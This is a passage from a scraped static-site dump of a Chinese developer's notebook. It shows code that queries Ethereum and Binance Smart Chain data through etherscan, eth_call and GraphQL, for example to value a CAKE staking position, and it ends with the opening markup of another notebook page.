class=\"o\">.</span><span class=\"n\">decode</span><span class=\"p\">()</span><span class=\"o\">.</span><span class=\"n\">lower</span><span class=\"p\">()</span>\n</code></pre></div>\n\n<h2 id=\"api\">地址交易查询API<a class=\"headerlink\" href=\"#api\" title=\"Permanent link\">&para;</a></h2>\n<p>注意etherscan.io使用了cloudflare，必须设置一个User-Agent才能调用</p>\n<p>目前还不需要apikey就能直接调用</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">requests</span>\n<span class=\"k\">def</span> <span class=\"nf\">gettx</span><span class=\"p\">(</span><span class=\"n\">addr</span><span class=\"p\">):</span>\n    <span class=\"k\">return</span> <span class=\"n\">requests</span><span class=\"o\">.</span><span class=\"n\">get</span><span class=\"p\">(</span><span class=\"s2\">&quot;https://api-ropsten.etherscan.io/api?module=account&amp;action=txlist&amp;address=&quot;</span><span class=\"o\">+</span><span class=\"n\">addr</span><span class=\"o\">+</span><span class=\"s2\">&quot;&amp;startblock=0&amp;endblock=99999999&amp;sort=asc&amp;apikey=YourApiKeyToken&quot;</span><span class=\"p\">,</span> <span class=\"n\">headers</span><span class=\"o\">=</span><span class=\"p\">{</span><span class=\"s2\">&quot;User-Agent&quot;</span><span class=\"p\">:</span><span class=\"s2\">&quot;ethquery&quot;</span><span class=\"p\">})</span><span class=\"o\">.</span><span class=\"n\">json</span><span class=\"p\">()[</span><span class=\"s2\">&quot;result&quot;</span><span class=\"p\">]</span>\n</code></pre></div>\n\n<p>返回的数组可能每个交易都重复了两次，需要去重：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">seenhash</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span>[]\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"nv\">tx</span><span class=\"w\"> </span><span class=\"nv\">in</span><span class=\"w\"> </span><span class=\"nv\">gettx</span><span class=\"ss\">(</span><span class=\"nv\">addr</span><span class=\"ss\">)</span>:\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"nv\">len</span><span class=\"ss\">(</span><span class=\"nv\">tx</span>[<span class=\"s2\">&quot;input&quot;</span>]<span class=\"ss\">)</span><span class=\"o\">&gt;</span><span class=\"mi\">2</span><span class=\"w\"> </span><span class=\"nv\">and</span><span class=\"w\"> </span><span class=\"nv\">tx</span>[<span class=\"s2\">&quot;hash&quot;</span>]<span class=\"w\"> </span><span class=\"nv\">not</span><span class=\"w\"> </span><span class=\"nv\">in</span><span class=\"w\"> </span><span class=\"nv\">seenhash</span>:\n<span class=\"w\">        </span>#<span class=\"w\"> </span>处理<span class=\"nv\">tx</span>[<span class=\"s2\">&quot;input&quot;</span>]\n<span class=\"w\">        </span><span class=\"nv\">seenhash</span>.<span class=\"nv\">append</span><span class=\"ss\">(</span><span class=\"nv\">tx</span>[<span class=\"s2\">&quot;hash&quot;</span>]<span class=\"ss\">)</span>\n</code></pre></div>\n\n<h2 id=\"block-id\">时间戳转block id<a class=\"headerlink\" href=\"#block-id\" title=\"Permanent link\">&para;</a></h2>\n<p>有些时候我们需要知道特定时间点的区块高度，来查询当时的合约数据</p>\n<p>不依赖etherscan的方法可以按照当前区块高度、已经流逝的时间和<a href=\"https://etherscan.io/chart/blocktime\">出块速度</a>进行计算，算出来的blockid再调用web3 API查询timestamp再次计算，直到误差小于阈值即可</p>\n<p>etherscan提供了这个API: https://etherscan.io/apis#blocks</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">cache</span><span class=\"o\">=</span><span class=\"err\">{}</span>\n<span class=\"n\">apikey</span><span class=\"o\">=</span><span class=\"ss\">&quot;&quot;</span>\n<span class=\"n\">def</span><span class=\"w\"> </span><span class=\"n\">timestamp2blockid</span><span class=\"p\">(</span><span class=\"n\">ts</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">retry</span><span class=\"o\">=</span><span class=\"mi\">3</span><span class=\"p\">)</span><span class=\"err\">:</span>\n<span class=\"w\">    </span><span class=\"n\">cachekey</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"ss\">&quot;timestamp2blockid_&quot;</span><span class=\"o\">+</span><span class=\"nf\">str</span><span class=\"p\">(</span><span class=\"n\">ts</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"n\">cachekey</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"nl\">cache</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">#print</span><span class=\"p\">(</span><span class=\"ss\">&quot;cache used&quot;</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">cache</span><span class=\"o\">[</span><span class=\"n\">cachekey</span><span class=\"o\">]</span>\n<span class=\"w\">    </span><span class=\"n\">x</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">sess</span><span class=\"p\">.</span><span class=\"k\">get</span><span class=\"p\">(</span><span class=\"ss\">&quot;https://api.etherscan.io/api?module=block&amp;action=getblocknobytime&amp;timestamp=&quot;</span><span class=\"o\">+</span><span class=\"nf\">str</span><span class=\"p\">(</span><span class=\"n\">ts</span><span class=\"p\">)</span><span class=\"o\">+</span><span class=\"ss\">&quot;&amp;closest=before&amp;apikey=&quot;</span><span class=\"o\">+</span><span class=\"n\">apikey</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"n\">#print</span><span class=\"p\">(</span><span class=\"n\">x</span><span class=\"p\">.</span><span class=\"n\">json</span><span class=\"p\">())</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"s1\">&#39;result&#39;</span><span class=\"w\"> </span><span class=\"ow\">not</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"p\">.</span><span class=\"n\">json</span><span class=\"p\">()</span><span class=\"err\">:</span>\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"nl\">retry</span><span class=\"p\">:</span>\n<span class=\"w\">            </span><span class=\"k\">print</span><span class=\"p\">(</span><span class=\"ss\">&quot;[retry] timestamp2blockid&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">ts</span><span class=\"p\">)</span>\n<span class=\"w\">            </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">timestamp2blockid</span><span class=\"p\">(</span><span class=\"n\">ts</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">retry</span><span class=\"o\">=</span><span class=\"n\">retry</span><span class=\"o\">-</span><span class=\"mi\">1</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"k\">else</span><span class=\"err\">:</span>\n<span class=\"w\">            </span><span class=\"k\">print</span><span class=\"p\">(</span><span class=\"n\">x</span><span class=\"p\">.</span><span class=\"n\">json</span><span class=\"p\">())</span>\n<span class=\"w\">    </span><span class=\"n\">res</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"p\">.</span><span class=\"n\">json</span><span class=\"p\">()</span><span class=\"o\">[</span><span class=\"n\">&quot;result&quot;</span><span class=\"o\">]</span>\n<span class=\"w\">    </span><span class=\"n\">cache</span><span class=\"o\">[</span><span class=\"n\">cachekey</span><span class=\"o\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">res</span>\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">res</span>\n</code></pre></div>\n\n<h2 id=\"_1\">根据函数名调用合约<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<p>标记了view的函数可以直接在etherscan读取合约调用，但有些函数不会涉及写操作，我们也可以自己调用而不用发起链上交易（即使交易也拿不到返回值）</p>\n<p>首先我们需要了解eth_call的data 前4个字节就是函数签名的哈希，哈希算法是keccak_sha3取前4个字节</p>\n<p>这东西叫做ABI， 文档： <a href=\"https://solidity.readthedocs.io/en/v0.5.3/abi-spec.html\">https://solidity.readthedocs.io/en/v0.5.3/abi-spec.html</a></p>\n<p>例如balanceOf函数只接受一个地址作为参数，它的签名就是<code>balanceOf(address)</code>，哈希是<code>70a08231</code>，你可以观察metamask后台发送的流量就可以确认这一点</p>\n<p>使用Python不依赖web3计算这个哈希： 你可能需要<code>python3 -m pip install pycryptodome</code></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">from</span> <span class=\"nn\">Crypto.Hash</span> <span class=\"kn\">import</span> <span class=\"n\">keccak</span>\n<span class=\"k\">def</span> <span class=\"nf\">function_hash</span><span class=\"p\">(</span><span class=\"n\">func_str</span><span class=\"p\">):</span>\n    <span class=\"k\">return</span> <span class=\"n\">keccak</span><span class=\"o\">.</span><span class=\"n\">new</span><span class=\"p\">(</span><span class=\"n\">digest_bits</span><span class=\"o\">=</span><span class=\"mi\">256</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">update</span><span class=\"p\">(</span><span class=\"n\">func_str</span><span class=\"o\">.</span><span class=\"n\">encode</span><span class=\"p\">(</span><span class=\"s2\">&quot;utf-8&quot;</span><span class=\"p\">))</span><span class=\"o\">.</span><span class=\"n\">hexdigest</span><span class=\"p\">()[:</span><span class=\"mi\">8</span><span class=\"p\">]</span>\n</code></pre></div>\n\n<p>有了函数哈希后 再拼接函数调用参数就能发起eth_call了，比如我们需要把地址在左边补0补齐到64字节（也就是256bit）</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">requests</span>\n<span class=\"n\">sess</span> <span class=\"o\">=</span> <span class=\"n\">requests</span><span class=\"o\">.</span><span class=\"n\">session</span><span class=\"p\">()</span>\n<span class=\"n\">sess</span><span class=\"o\">.</span><span class=\"n\">headers</span><span class=\"o\">.</span><span class=\"n\">update</span><span class=\"p\">({</span><span class=\"s2\">&quot;Content-Type&quot;</span><span class=\"p\">:</span><span class=\"s2\">&quot;application/json&quot;</span><span class=\"p\">})</span>\n<span class=\"n\">WEB3_ENDPOINT</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;&quot;</span> <span class=\"c1\">#change to your infura.io project url</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">addrtoarg</span><span class=\"p\">(</span><span class=\"n\">addr</span><span class=\"p\">):</span>\n    <span class=\"k\">return</span> <span class=\"n\">addr</span><span class=\"o\">.</span><span class=\"n\">lower</span><span class=\"p\">()</span><span class=\"o\">.</span><span class=\"n\">rjust</span><span class=\"p\">(</span><span class=\"mi\">64</span><span class=\"p\">,</span> <span class=\"s2\">&quot;0&quot;</span><span class=\"p\">)</span>\n\n<span class=\"n\">cache</span><span class=\"o\">=</span><span class=\"p\">{}</span>\n<span class=\"k\">def</span> <span class=\"nf\">callfunction</span><span class=\"p\">(</span><span class=\"n\">addr</span><span class=\"p\">,</span> <span class=\"n\">func_str</span><span class=\"p\">,</span> <span class=\"n\">args_str</span><span class=\"p\">,</span> <span class=\"n\">blockid</span><span class=\"p\">,</span> <span class=\"n\">returnint</span><span class=\"o\">=</span><span class=\"kc\">True</span><span class=\"p\">,</span> <span class=\"n\">usecache</span><span class=\"o\">=</span><span class=\"kc\">False</span><span class=\"p\">):</span>\n    <span class=\"n\">cachekey</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;_&quot;</span><span class=\"o\">.</span><span class=\"n\">join</span><span class=\"p\">((</span><span class=\"s2\">&quot;callfunction&quot;</span><span class=\"p\">,</span> <span class=\"n\">addr</span><span class=\"p\">,</span> <span class=\"n\">func_str</span><span class=\"p\">,</span> <span class=\"n\">args_str</span><span class=\"p\">,</span> <span class=\"nb\">str</span><span class=\"p\">(</span><span class=\"n\">blockid</span><span class=\"p\">)))</span>\n    <span class=\"k\">try</span><span class=\"p\">:</span>\n        <span class=\"n\">height</span> <span class=\"o\">=</span> <span class=\"nb\">hex</span><span class=\"p\">(</span><span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">blockid</span><span class=\"p\">))</span>\n    <span class=\"k\">except</span><span class=\"p\">:</span>\n        <span class=\"n\">height</span> <span class=\"o\">=</span> <span class=\"n\">blockid</span>\n    <span class=\"k\">if</span> <span class=\"n\">usecache</span> <span class=\"ow\">and</span> <span class=\"n\">cachekey</span> <span class=\"ow\">in</span> <span class=\"n\">cache</span> <span class=\"ow\">and</span> <span class=\"n\">blockid</span><span class=\"o\">!=</span><span class=\"s2\">&quot;latest&quot;</span><span class=\"p\">:</span>\n        <span class=\"n\">res</span> <span class=\"o\">=</span> <span class=\"n\">cache</span><span class=\"p\">[</span><span class=\"n\">cachekey</span><span class=\"p\">]</span>\n    <span class=\"k\">else</span><span class=\"p\">:</span>\n        <span class=\"n\">data</span> <span class=\"o\">=</span> <span class=\"p\">{</span>\n            <span class=\"s2\">&quot;id&quot;</span><span class=\"p\">:</span><span class=\"mi\">1</span><span class=\"p\">,</span> <span class=\"s2\">&quot;jsonrpc&quot;</span><span class=\"p\">:</span><span class=\"s2\">&quot;2.0&quot;</span><span class=\"p\">,</span>\n            <span class=\"s2\">&quot;method&quot;</span><span class=\"p\">:</span><span class=\"s2\">&quot;eth_call&quot;</span><span class=\"p\">,</span>\n            <span class=\"s2\">&quot;params&quot;</span><span class=\"p\">:[{</span><span class=\"s2\">&quot;data&quot;</span><span class=\"p\">:</span> <span class=\"s2\">&quot;0x&quot;</span><span class=\"o\">+</span><span class=\"n\">function_hash</span><span class=\"p\">(</span><span class=\"n\">func_str</span><span class=\"p\">)</span><span class=\"o\">+</span><span class=\"n\">args_str</span><span class=\"p\">,</span> <span class=\"s2\">&quot;to&quot;</span><span class=\"p\">:</span> <span class=\"n\">addr</span><span class=\"p\">,},</span> <span class=\"n\">height</span><span class=\"p\">]</span>\n        <span class=\"p\">}</span>\n        <span class=\"n\">x</span> <span class=\"o\">=</span> <span class=\"n\">sess</span><span class=\"o\">.</span><span class=\"n\">post</span><span class=\"p\">(</span><span class=\"n\">WEB3_ENDPOINT</span><span class=\"p\">,</span> <span class=\"n\">json</span><span class=\"o\">=</span><span class=\"n\">data</span><span class=\"p\">)</span>\n        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">x</span><span class=\"o\">.</span><span class=\"n\">json</span><span class=\"p\">())</span>\n        <span class=\"n\">res</span> <span class=\"o\">=</span> <span class=\"n\">x</span><span class=\"o\">.</span><span class=\"n\">json</span><span class=\"p\">()[</span><span class=\"s2\">&quot;result&quot;</span><span class=\"p\">]</span>\n        <span class=\"k\">if</span> <span class=\"n\">usecache</span><span class=\"p\">:</span>\n            <span class=\"n\">cache</span><span class=\"p\">[</span><span class=\"n\">cachekey</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"n\">res</span>\n    <span class=\"k\">if</span> <span class=\"ow\">not</span> <span class=\"n\">returnint</span><span class=\"p\">:</span>\n        <span class=\"k\">return</span> <span class=\"n\">res</span>\n    <span class=\"k\">else</span><span class=\"p\">:</span>\n        <span class=\"k\">return</span> <span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">res</span><span class=\"p\">,</span> <span class=\"mi\">16</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>其中WEB3_ENDPOINT可以是infura自己注册一个APIKEY后得到的地址</p>\n<p>要获取最新的数据还需要知道当前的区块高度：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">def</span> <span class=\"n\">eth_blockNumber</span><span class=\"p\">():</span>\n    <span class=\"n\">return</span> <span class=\"n\">int</span><span class=\"p\">(</span><span class=\"n\">sess</span><span class=\"p\">.</span><span class=\"n\">post</span><span class=\"p\">(</span><span class=\"n\">WEB3_ENDPOINT</span><span class=\"p\">,</span> <span class=\"n\">data</span><span class=\"o\">=</span><span class=\"s\">&#39;{&quot;id&quot;:1,&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;eth_blockNumber&quot;,&quot;params&quot;:[]}&#39;</span><span class=\"p\">).</span><span class=\"n\">json</span><span class=\"p\">()[</span><span class=\"s\">&quot;result&quot;</span><span class=\"p\">],</span> <span class=\"mi\">16</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>调用很简单：<code>mybalance = callfunction(contract_address, \"balanceOfUnderlying(address)\", addrtoarg(my_address), eth_blockNumber())</code></p>\n<h3 id=\"_2\">更复杂的参数类型<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h3>\n<p>对于string这种可变长度类型，还是使用python包<code>eth-abi</code>吧，例如：</p>\n<p>NFT-Hero里随机数用的blockhashMgr到底是什么合约呢：</p>\n<p>https://github.com/nfthero/SuperHero/blob/c87346f36efb09667ad8f0eeaf8df04a710bbecd/Package.sol#L87</p>\n<p>就想要查询一下members这个字典，其类型是<code>mapping(string =&gt; address) public members</code>，也就意味着可以调用<code>members(string)</code>这个函数进行查询：</p>\n<div class=\"codehilite\"><pre><span></span><code>&gt;&gt;&gt; callfunction(&quot;https://http-mainnet-node.huobichain.com/&quot;, &quot;0x42C1aC2AeAEc52E1cc9dC8057b089FA91fa84FC7&quot;, &quot;members(string)&quot;, base64.b16encode(eth_abi.encode_abi([&quot;string&quot;], [&quot;blockhashMgr&quot;])).decode().lower(), &quot;latest&quot;, False)\n&#39;0x0000000000000000000000003e259bfe720093abb26a2c3fe57670259b2ebea2&#39;\n</code></pre></div>\n\n<hr />\n<h2 id=\"cake\">实例：获取Cake持仓价值<a class=\"headerlink\" href=\"#cake\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"admonition warning 风险警示\">\n<p class=\"admonition-title\">Warning</p>\n<p>本文不作为投资建议，本项目合约代码2020/11/05也出过<a href=\"https://www.cailu.net/article/13144343855663958.html\">漏洞导致挖矿奖励代币超发</a></p>\n</div>\n<p>币安智能链上有个抄了Uniswap的<a href=\"https://pancakeswap.finance/pools\">pancakeswap</a>, 网页上当前(2021/01/06)显示质押CAKE的年化228%，那当然是尝试一下咯，于是自然有了需求：计算自己持仓CAKE的实时价值，持仓包含质押奖励的部分</p>\n<p>那么实现这个需求就需要解决两个问题：如何获取自己的CAKE奖励数量，如何获取CAKE的价格信息</p>\n<p>第一个问题好解决，按照上面调用合约即可，合约调用需要两个参数，即使不知道函数选择器和函数参数怎么写，也可以让etherscan来帮我们调用<a href=\"https://bscscan.com/address/0x73feaa1ee314f8c655e354234017be2193c9e24e#readContract\">合约</a> 看流量即可</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">WEB3_ENDPOINT</span><span class=\"o\">=</span><span class=\"s\">&#39;https://bsc-dataseed.binance.org/&#39;</span>\n<span class=\"n\">callfunction</span><span class=\"p\">(</span><span class=\"n\">contract_address</span><span class=\"p\">,</span> <span class=\"s\">&quot;pendingCake(uint256,address)&quot;</span><span class=\"p\">,</span> <span class=\"s\">&quot;0&quot;</span><span class=\"o\">*</span><span class=\"mi\">64</span><span class=\"o\">+</span><span class=\"n\">addrtoarg</span><span class=\"p\">(</span><span class=\"n\">my_address</span><span class=\"p\">),</span> <span class=\"s\">&quot;latest&quot;</span><span class=\"p\">,</span> <span class=\"n\">usecache</span><span class=\"o\">=</span><span class=\"n\">False</span><span class=\"p\">)</span><span class=\"o\">/</span><span class=\"mi\">10</span><span class=\"o\">**</span><span class=\"mi\">18</span>\n</code></pre></div>\n\n<p>第二个问题：获取CAKE的价值 可以在<a href=\"https://pancakeswap.info/token/0x0e09fabb73bd3ade0a17ecc321fd13a19e81ce82\">pancakeswap.info的token页面</a>看到 当前CAKE的价值显示为$0.64</p>\n<p>通过仔细翻流量+F12看前端js+学GraphQL的写法，发现这个图查询可以一次返回两个内容：</p>\n<p><a href=\"https://api.bscgraph.org/subgraphs/name/wowswap/graphql\">https://api.bscgraph.org/subgraphs/name/wowswap/graphql</a></p>\n<div class=\"codehilite\"><pre><span></span><code>{\n  tokens(where: {id: &quot;0x0e09fabb73bd3ade0a17ecc321fd13a19e81ce82&quot;}) {\n    id\n    name\n    symbol\n    derivedETH\n    tradeVolume\n    tradeVolumeUSD\n    untrackedVolumeUSD\n    totalLiquidity\n    txCount\n    __typename\n  }\n  bundles(where: {id: 1}) {\n    id\n    ethPrice\n    __typename\n  }\n}\n</code></pre></div>\n\n<p>查询到：</p>\n<div class=\"codehilite\"><pre><span></span><code>{\n  &quot;data&quot;: {\n    &quot;bundles&quot;: [\n      {\n        &quot;__typename&quot;: &quot;Bundle&quot;,\n        &quot;ethPrice&quot;: &quot;40.4164616943543110107673755202366&quot;,\n        &quot;id&quot;: &quot;1&quot;\n      }\n    ],\n    &quot;tokens&quot;: [\n      {\n        &quot;__typename&quot;: &quot;Token&quot;,\n        &quot;derivedETH&quot;: &quot;0.01577253120396104706816941010842497&quot;,\n        &quot;id&quot;: &quot;0x0e09fabb73bd3ade0a17ecc321fd13a19e81ce82&quot;,\n        &quot;name&quot;: &quot;PancakeSwap Token&quot;,\n        &quot;symbol&quot;: &quot;Cake&quot;,\n        &quot;totalLiquidity&quot;: &quot;17457173.064252540875767782&quot;,\n        &quot;tradeVolume&quot;: &quot;529331425.317628506590140745&quot;,\n        &quot;tradeVolumeUSD&quot;: &quot;270335080.4687124727090581348114777&quot;,\n        &quot;txCount&quot;: &quot;659265&quot;,\n        &quot;untrackedVolumeUSD&quot;: &quot;331587403.3835248774831009549837749&quot;\n      }\n    ]\n  }\n}\n</code></pre></div>\n\n<p>将其中的<code>ethPrice</code>(实际上是BNB的价格)和<code>derivedETH</code>乘起来就是我们需要的价格了，算出来是<code>$0.6375</code></p>\n<p>通用一点还需要调用合约<code>userInfo(uint256,address)</code>查询自己的持仓，最后合在一起：</p>\n<div class=\"codehilite\"><pre><span></span><code>(自己的持仓+pendingpendingCake)*derivedETH*ethPrice\n</code></pre></div>\n\n<hr />\n<h2 id=\"erigon\">erigon 导出所有合约地址<a class=\"headerlink\" href=\"#erigon\" title=\"Permanent link\">&para;</a></h2>\n<p>这样来导出codehash表：</p>\n<div class=\"codehilite\"><pre><span></span><code>/tank/erigon/build/bin/mdbx_dump -s PlainCodeHash /tank/eth/chaindata/ | gzip &gt; plaincodehash.txt.gz\n</code></pre></div>\n\n<p>然后这样处理得到根据codehash去重后的地址列表：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">gzip</span>\n<span class=\"n\">oldaddr</span><span class=\"o\">=</span><span class=\"kc\">None</span>\n<span class=\"n\">codehash</span><span class=\"o\">=</span><span class=\"kc\">None</span>\n<span class=\"n\">seen</span><span class=\"o\">=</span><span class=\"nb\">set</span><span class=\"p\">()</span>\n<span class=\"k\">for</span> <span class=\"n\">line</span> <span class=\"ow\">in</span> <span class=\"n\">gzip</span><span class=\"o\">.</span><span class=\"n\">open</span><span class=\"p\">(</span><span class=\"s2\">&quot;plaincodehash.txt.gz&quot;</span><span class=\"p\">,</span> <span class=\"s2\">&quot;rt&quot;</span><span class=\"p\">):</span>\n    <span class=\"k\">if</span> <span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">line</span><span class=\"p\">)</span><span class=\"o\">==</span><span class=\"mi\">58</span><span class=\"p\">:</span>\n        <span class=\"n\">addr</span> <span class=\"o\">=</span> <span class=\"n\">line</span><span class=\"p\">[</span><span class=\"mi\">1</span><span class=\"p\">:</span><span class=\"mi\">41</span><span class=\"p\">]</span>\n        <span class=\"k\">if</span> <span class=\"n\">addr</span><span class=\"o\">!=</span><span class=\"n\">oldaddr</span><span class=\"p\">:</span>\n            <span class=\"k\">if</span> <span class=\"n\">oldaddr</span> <span class=\"ow\">and</span> <span class=\"n\">codehash</span> <span class=\"ow\">not</span> <span class=\"ow\">in</span> <span class=\"n\">seen</span><span class=\"p\">:</span>\n                <span class=\"n\">seen</span><span class=\"o\">.</span><span class=\"n\">add</span><span class=\"p\">(</span><span class=\"n\">codehash</span><span class=\"p\">)</span>\n                <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">oldaddr</span><span class=\"p\">)</span>\n            <span class=\"n\">oldaddr</span><span class=\"o\">=</span><span class=\"n\">addr</span>\n    <span class=\"k\">elif</span> <span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">line</span><span class=\"p\">)</span><span class=\"o\">==</span><span class=\"mi\">66</span><span class=\"p\">:</span>\n        <span class=\"n\">codehash</span> <span class=\"o\">=</span> <span class=\"n\">line</span><span class=\"p\">[</span><span class=\"mi\">1</span><span class=\"p\">:</span><span class=\"mi\">65</span><span class=\"p\">]</span>\n<span class=\"k\">if</span> <span class=\"n\">codehash</span> <span class=\"ow\">not</span> <span class=\"ow\">in</span> <span class=\"n\">seen</span><span class=\"p\">:</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">oldaddr</span><span class=\"p\">)</span>\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/Favorites/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../cURL/\">\n      \n      \n        <link rel=\"next\" href=\"../GithubProjectRecommendation/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Favorites - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#favorites\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 